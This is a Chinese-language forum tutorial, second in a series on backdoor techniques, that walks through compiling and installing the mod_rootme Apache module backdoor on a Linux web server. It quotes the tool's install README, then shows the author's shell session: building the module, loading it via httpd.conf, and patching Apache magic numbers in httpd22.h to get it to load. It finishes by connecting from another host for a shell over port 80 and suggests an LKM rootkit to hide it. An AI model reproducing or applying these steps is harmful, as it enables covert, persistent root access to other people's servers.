那些年系列 0x02---基于端口复用的apache后门的调试与使用

2013-02-24 23:52:30 31 8084


【*】作者:小飞
【*】QQ 5119187

此为系列教材,分为三个部分

0x01---后门隐藏技术的攻与防

0x02---基于端口复用的apache模块后门 mod_rootme的调试与使用

0x03---LKM rootkit的编译与使用


-----------------------------------------------
0x02---基于端口复用的apache模块后门 mod_rootme的调试与使用


这是一个apache的模块化后门,mod_rootme
以pipe的方式获得shell,支持tty
确定是有个so文件 进程 不能隐藏
不过咱们有LKM rootkit



首先我们来看看后门作者的README
反正每个软件的readme我都是好好读的!
-=[ Target: Apache 1.3.x (Debian) ]=-

        # make <system>
        # cp mod_rootme.so /usr/lib/apache/1.3/
        # vi /etc/apache/httpd.conf (or modules.conf)
        [...]
        LoadModule rootme_module /usr/lib/apache/1.3/mod_rootme.so

        # apachectl restart


      -=[ Target: Apache 1.3.x (local ) ]=-

        # make <system>
        # cp mod_rootme.so /usr/local/apache/libexec/
        # vi /usr/local/apache/conf/httpd.conf
        [...]
        LoadModule rootme_module      libexec/mod_rootme.so
        [...]
        AddModule mod_rootme.c

        # /usr/local/apache/bin/apachectl restart


      -=[ Target: Apache 2.0.x (Debian) ]=-

        # make <system>
        # cp mod_rootme2.so /usr/lib/apache2/modules/
        # cat > /etc/apache2/mods-enabled/rootme2.load
        LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so
        ^D
        # apache2ctl stop; apache2ctl start


      -=[ Target: Apache 2.0.x (local ) ]=-

        # make <system>
        # cp mod_rootme2.so /usr/local/apache2/modules/
        # vi /usr/local/apache2/conf/httpd.conf
        [...]
        LoadModule rootme2_module modules/mod_rootme2.so

        # PATH=/usr/local/apache2/bin:$PATH; export PATH
        # apachectl stop; apachectl start


      -=[ Target: Apache 2.2.x (Debian) ]=-

        # make <system>
        # cp mod_rootme22.so /usr/lib/apache2/modules/
        # cat > /etc/apache2/mods-enabled/rootme22.load
        LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme22.so
        ^D
        # apache2ctl stop; apache2ctl start


      -=[ Target: Apache 2.2.x (local ) ]=-

        # make <system>
        # cp mod_rootme22.so /usr/local/apache2/modules/
        # vi /usr/local/apache2/conf/httpd.conf
        [...]
        LoadModule rootme2_module modules/mod_rootme22.so

        # PATH=/usr/local/apache2/bin:$PATH; export PATH
        # apachectl stop; apachectl start
首先
看看httpd的目录
root@maf!x:/var/opt$ find  /  -name  httpd.conf
/data/httpd.conf
/etc/httpd/conf/httpd.conf
和版本

恩既然是2.2.3的
就按照上面的来吧
root@maf!x:/tmp$ ls
2.6.18-164             red                    yoco_bc
mod_rootme-0.4.tar.gz  suterusu.tar.gz        yoco_bc.c
nc                     uscreens
root@maf!x:/tmp$ tar zxf  mod_rootme-0.4.tar.gz
root@maf!x:/tmp$ cd mod_rootme-0.4
root@maf!x:/tmp/mod_rootme-0.4$ ls
Makefile        client.exe      httpd22.h       mod_rootme22.c
Makefile32      httpd13.h       mod_rootme.c    mrm_client.c
README.txt      httpd20.h       mod_rootme2.c   mrm_server.h
root@maf!x:/tmp/mod_rootme-0.4$ make linux
gcc -s -fPIC -shared mod_rootme.c  -o mod_rootme.so  -lutil -DLINUX
gcc -s -fPIC -shared mod_rootme2.c -o mod_rootme2.so -lutil -DLINUX
gcc -s -fPIC -shared mod_rootme22.c -o mod_rootme22.so -lutil -DLINUX
gcc -s mrm_client.c -o client
然后
root@maf!x:/etc/httpd/conf$ cp httpd.conf httpd.conf.bak
root@maf!x:/etc/httpd/conf$ vi httpd.conf
在里面
添加LoadModule rootme22_module modules/mod_rootme22.so




然后保存 重启httpd服务
谁知道,报错了- -
root@maf!x:/tmp/mod_rootme-0.4$ service httpd restart
&#205;&#163;&#214;&#185; httpd&#163;&#186;                                               [&#200;·&#182;¨]
&#198;&#244;&#182;&#175; httpd&#163;&#186;httpd: Syntax error on line 200 of /etc/httpd/conf/httpd.conf: API module structure `rootme22_module' in file /etc/httpd/modules/mod_rootme22.so is garbled - perhaps this is not an Apache module DSO?
不识别mod_rootme22.so这货?



于是到处找文章
发现某群黑阔博客上面也有一篇介绍这个软件的文章
看半天没看懂。。。(是我太笨吧)
不过下面他引用的文档我看了下
终于懂了 文章如下
http://www.nowamagic.net/librarys/veda/detail/1293


就是magic字段错了
于是我们在找到mod22的那个配置文件
http22.h
看下里面的声明
#define MODULE_MAGIC_NUMBER_MAJOR 20020903
#define MODULE_MAGIC_NUMBER_MINOR 7

#define MODULE_MAGIC_COOKIE 0x41503230UL
而2.2其实应该是这样的
#define MODULE_MAGIC_COOKIE 0x41503232UL

看到后激动啊
速度改掉httpd22.h
然后重新make cp
再重启服务
service httpd restart



你妹。。还是报错
不过报错内容不一样了

ok这次我看懂了
又是改参数
改完了应该是这样的
#define MODULE_MAGIC_NUMBER_MAJOR 20051115
#define MODULE_MAGIC_NUMBER_MINOR 7

#define MODULE_MAGIC_COOKIE 0x41503232UL
然后 make cp restart
终于没报错了!!!


然后 用另一台服务器
利用里面的client连接


ok成功连上
通信都在80端口
管理你无力了吧

文章有关附件
mod_rootme【原版】
-------------------------------------------------------------------------

文章难免会有错误,希望给位积极指出,进行讨论

同时 刚刚接触linux内核的我还有几个问题有待解决
希望有时间的大牛能参与文章的编写和完善
帮解决下有关lkm rootkit几个问题面的声明

---------------------本人上学去了 最后一篇文章可能晚点

关于作者

小飞不会飞22篇文章361篇回复武汉大学 信息安全专业 学生

离校学生

评论31次

要评论?请先  登录  或  注册